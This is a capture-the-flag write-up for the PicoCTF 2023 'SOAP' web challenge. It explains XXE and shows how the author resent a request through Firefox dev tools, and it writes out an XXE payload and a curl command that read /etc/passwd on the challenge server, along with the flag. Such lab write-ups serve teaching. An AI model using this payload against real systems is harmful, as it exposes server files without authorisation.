# PicoCTF 2023

I encountered this one in PicoGym. Even though it's an easy one that's been covered before, my solution doesn't require [BurpSuite](https://en.wikipedia.org/wiki/Burp_Suite).

**Web Exploitation (category) : SOAP (title): 100 (pts) :**

<figure><img src="https://964563587-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuXbk3swrKEb7s2aaJ6j6%2Fuploads%2Fx18Rrp4uxzpavrYOGm6g%2FScreenshot%202024-05-17%20at%204.13.31%20PM.png?alt=media&#x26;token=de0e029a-b9e8-4678-a079-b2455d1f9249" alt=""><figcaption></figcaption></figure>

This challenge hid the flag in the /etc/passwd file of a Linux web server. To gain access, it suggests we exploit a XXE vulnerability on its website.\
\
Viewing webpages is mostly a matter of sending a Request via a webpage and getting a Response from the web server. Web browsers can show you these [interactions in dev tools](https://firefox-source-docs.mozilla.org/devtools-user/network_monitor/request_details/index.html#network-monitor-request-details-request-tab). Kali has Firefox by default, so I'll use that.\
\
**My Process:** First, google SOAP and XXE...\
\
"SOAP is a messaging protocol popular in web service APIs. SOAP uses messages in the cross-platform XML (extensible markup language) format, bridging the gaps between otherwise-incompatible systems and servers. Originally developed by Microsoft, SOAP is now an open web services standard. Unlike REST (representational state transfer), which can use programming languages like JSON and various protocols, SOAP is limited to sending XML over HTTP or SMTP. As one of the oldest methods for exchanging data on the internet, SOAP has developed a robust set of security standards over the years." \[[source](https://blog.dreamfactory.com/understanding-soap-security/)]

"XML external entity injection (also known as XXE) is a web security vulnerability that allows an attacker to interfere with an application's processing of XML data. It often allows an attacker to view files on the application server filesystem, and to interact with any back-end or external systems that the application itself can access." \[[source](https://portswigger.net/web-security/xxe#what-is-xml-external-entity-injection)]

This is a lot of words to say that a site using SOAP for sending/receiving data can be susceptible to an XXE attack. And the way in, is to talk to it with XML.\
\
Next, inspect the site by looking at its assets and behavior.&#x20;

Right-click "Inspect" while on the site to open dev tools > "Debugger" tab > see two JavaScript files.

Go to "Network" tab > click a "Details" button on the site and you'll see a POST request in the dev tools initiated by one of those JS files (i.e. "detailsCheck.js)" > click that POST request to view all details > "Request" tab will show the XML "payload" with "data" and "ID" tags > while "Response" tab shows you the same text that appeared on the site.

<figure><img src="https://964563587-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuXbk3swrKEb7s2aaJ6j6%2Fuploads%2Fx6Bq4dwaoyhGulRUScRW%2FScreenshot%202024-05-17%20at%204.44.20%20PM.png?alt=media&#x26;token=ca033ad8-cf0d-4304-a08d-45eb792b3dc7" alt=""><figcaption></figcaption></figure>

POST means something was sent by the site to the server when you clicked the "Details" button. We'll now piggyback on this way of talking to the server. Right-click the POST request > choose "Edit and Resend" > add a [XXE payload injection](https://github.com/payloadbox/xxe-injection-payload-list) to the new request. \
\
Note: DOCTYPE doesn't matter, but ENTITY and the "ID" name must match for this to work!

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<data><ID>&xxe;</ID></data>
```

When it works, the flag will show in the "Response" tab in Firefox dev tools:

<figure><img src="https://964563587-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuXbk3swrKEb7s2aaJ6j6%2Fuploads%2FnoAzOkbhFV0DxoXA8Mda%2FScreenshot%202024-05-17%20at%205.19.14%20PM.png?alt=media&#x26;token=87b59157-935e-472a-ae0c-3d6a86f2c86e" alt=""><figcaption></figcaption></figure>

I had to restart the instance dozens of times to document. Sometimes, that changes the flag. My final flag is: *picoCTF{XML\_3xtern\@l\_3nt1t1ty\_540f4f1e}*

**BONUS:** This can also be accomplished with a cURL command. Right-click POST item > "Copy Value" > "Copy as cURL"

```
curl 'http://saturn.picoctf.net:53185/data' -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0' -H 'Accept: */*' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Referer: http://saturn.picoctf.net:53185/' -H 'Origin: http://saturn.picoctf.net:53185' -H 'Connection: keep-alive' -H 'Content-Type: application/xml' -H 'Pragma: no-cache' -H 'Cache-Control: no-cache' --data-raw $'<?xml version="1.0" encoding="UTF-8"?>\n<\041DOCTYPE data [ <\041ENTITY xxe SYSTEM "file:///etc/passwd"> ]>\n<data><ID>&xxe;</ID></data>'
```

Below are the results:

<figure><img src="https://964563587-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuXbk3swrKEb7s2aaJ6j6%2Fuploads%2FTGzmbGogcCk6HnRblcnv%2FScreenshot%202024-05-17%20at%206.25.45%20PM.png?alt=media&#x26;token=141dd944-4173-4140-b70c-49fbf1964728" alt=""><figcaption></figcaption></figure>

\\
